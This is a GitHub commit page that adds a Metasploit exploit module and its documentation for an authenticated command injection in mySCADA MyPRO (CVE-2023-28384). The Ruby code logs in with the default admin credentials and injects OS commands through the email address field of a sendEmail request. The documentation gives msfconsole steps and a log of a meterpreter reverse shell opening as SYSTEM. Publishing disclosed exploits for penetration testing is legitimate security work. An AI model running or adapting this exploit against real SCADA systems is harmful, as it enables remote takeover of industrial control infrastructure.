-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19337, MySCADA MyPRO Command Injection module
- Loading branch information
Showing
2 changed files
with
236 additions
and
0 deletions.
There are no files selected for viewing
79 changes: 79 additions & 0 deletions
79
documentation/modules/exploit/windows/scada/mypro_cmdexe.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
## Vulnerable Application | ||
|
||
**Vulnerability Description** | ||
|
||
This module exploits a command injection vulnerability in mySCADA MyPRO <= v8.28.0 (CVE-2023-28384). | ||
|
||
An authenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of | ||
`NT AUTHORITY\SYSTEM`. | ||
This module uses the default admin:admin credentials, but any account configured on the system can be used to exploit this issue. | ||
|
||
Versions <= 8.28.0 are affected. CISA published [ICSA-23-096-06](https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06) to cover | ||
the security issues. The official changelog for the updated version, v8.29.0, is available | ||
[here](https://web.archive.org/web/20230320130928/https://www.myscada.org/changelog/?section=version-8-29-0), although it only mentions a | ||
"General security improvement" without further details. | ||
|
||
**Vulnerable Application Installation** | ||
|
||
A trial version of the software can be obtained from [the vendor](http://nsa.myscada.org/myPRO/WIN/myPRO_x64_8.28.0.exe). | ||
For the product to work correctly, the project and log directories need to be configured first, which can be done through the web inteface | ||
(navigate to System > Storage). | ||
|
||
**Successfully tested on** | ||
|
||
- mySCADA MyPRO 8.28.0 on Windows 10 22H2 | ||
- mySCADA MyPRO 8.27.0 on Windows 10 22H2 | ||
- mySCADA MyPRO 8.26.0 on Windows 10 22H2 | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
2. Configure the project and log paths (System > Storage in the web interface, running by default on TCP ports 80 & 443) | ||
3. Start `msfconsole` and run the following commands: | ||
|
||
``` | ||
msf6 > use exploit/windows/scada/mypro_cmdexe | ||
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(windows/scada/mypro_cmdexe) > set RHOSTS <IP> | ||
msf6 exploit(windows/scada/mypro_cmdexe) > exploit | ||
``` | ||
|
||
You should get a meterpreter session in the context of `NT AUTHORITY\SYSTEM`. | ||
|
||
## Options | ||
### USERNAME | ||
|
||
The username of a MyPRO user (default: admin) | ||
|
||
### PASSWORD | ||
|
||
The associated password of the MyPRO user (default: admin) | ||
|
||
## Scenarios | ||
|
||
Running the exploit against MyPRO v8.28.0 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the | ||
following: | ||
|
||
``` | ||
msf6 exploit(windows/scada/mypro_cmdexe) > exploit | ||
[*] Started reverse TCP handler on 192.168.1.241:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. | ||
[*] Checking credentials... | ||
[+] Credentials are working. | ||
[*] Sending command injection... | ||
[*] Sending stage (201798 bytes) to 192.168.1.239 | ||
[*] Meterpreter session 12 opened (192.168.1.241:4444 -> 192.168.1.239:57382) at 2024-07-23 23:38:12 -0400 | ||
[*] Exploit finished, check thy shell. | ||
meterpreter > shell | ||
Process 2632 created. | ||
Channel 1 created. | ||
Microsoft Windows [Version 10.0.19045.4651] | ||
(c) Microsoft Corporation. All rights reserved. | ||
C:\WINDOWS\system32>whoami | ||
whoami | ||
nt authority\system | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,157 @@ | ||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)', | ||
'Description' => %q{ | ||
Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA. | ||
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module | ||
'References' => [ | ||
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'], | ||
[ 'CVE', '2023-28384'] | ||
], | ||
'DisclosureDate' => '2022-09-22', | ||
'Platform' => 'win', | ||
'Arch' => [ ARCH_CMD ], | ||
'Targets' => [ | ||
[ | ||
'Windows_Fetch', | ||
{ | ||
'Arch' => [ ARCH_CMD ], | ||
'Platform' => 'win', | ||
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, | ||
'Type' => :win_fetch | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
|
||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
OptString.new( | ||
'USERNAME', | ||
[ true, 'The username to authenticate with (default: admin)', 'admin' ] | ||
), | ||
OptString.new( | ||
'PASSWORD', | ||
[ true, 'The password to authenticate with (default: admin)', 'admin' ] | ||
), | ||
OptString.new( | ||
'TARGETURI', | ||
[ true, 'The URI for the MyPRO web interface', '/' ] | ||
) | ||
] | ||
) | ||
end | ||
|
||
# Determine if the MyPRO instance runs a vulnerable version | ||
def check | ||
begin | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'l.fcgi'), | ||
'vars_post' => { | ||
't' => '98' | ||
} | ||
}) | ||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError | ||
return CheckCode::Unknown | ||
end | ||
|
||
if res && res.code == 200 | ||
data = res.get_json_document | ||
version = data['V'] | ||
if version.nil? | ||
return CheckCode::Unknown | ||
else | ||
vprint_status('Version retrieved: ' + version) | ||
end | ||
|
||
if Rex::Version.new(version) <= Rex::Version.new('8.28') | ||
return CheckCode::Appears | ||
else | ||
return CheckCode::Safe | ||
end | ||
else | ||
return CheckCode::Unknown | ||
end | ||
end | ||
|
||
def exploit | ||
execute_command(payload.encoded) | ||
end | ||
|
||
def execute_command(cmd) | ||
print_status('Checking credentials...') | ||
check_auth | ||
print_status('Sending command injection...') | ||
exec_mypro(cmd) | ||
print_status('Exploit finished, check thy shell.') | ||
end | ||
|
||
# Check if credentials are working | ||
def check_auth | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'sss2'), | ||
'headers' => { | ||
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) | ||
} | ||
}) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
case res.code | ||
when 200 | ||
print_good('Credentials are working.') | ||
when 401 | ||
fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?') | ||
else | ||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') | ||
end | ||
end | ||
|
||
# Send command injection | ||
def exec_mypro(cmd) | ||
post_data = { | ||
'type' => 'sendEmail', | ||
'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}" | ||
} | ||
post_json = JSON.generate(post_data) | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'data' => post_json, | ||
'uri' => normalize_uri(target_uri.path, 'sss2'), | ||
'headers' => { | ||
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) | ||
} | ||
|
||
}) | ||
|
||
# We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response. | ||
|
||
if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. | ||
print_good('Command successfully executed, check your shell.') | ||
end | ||
end | ||
|
||
end |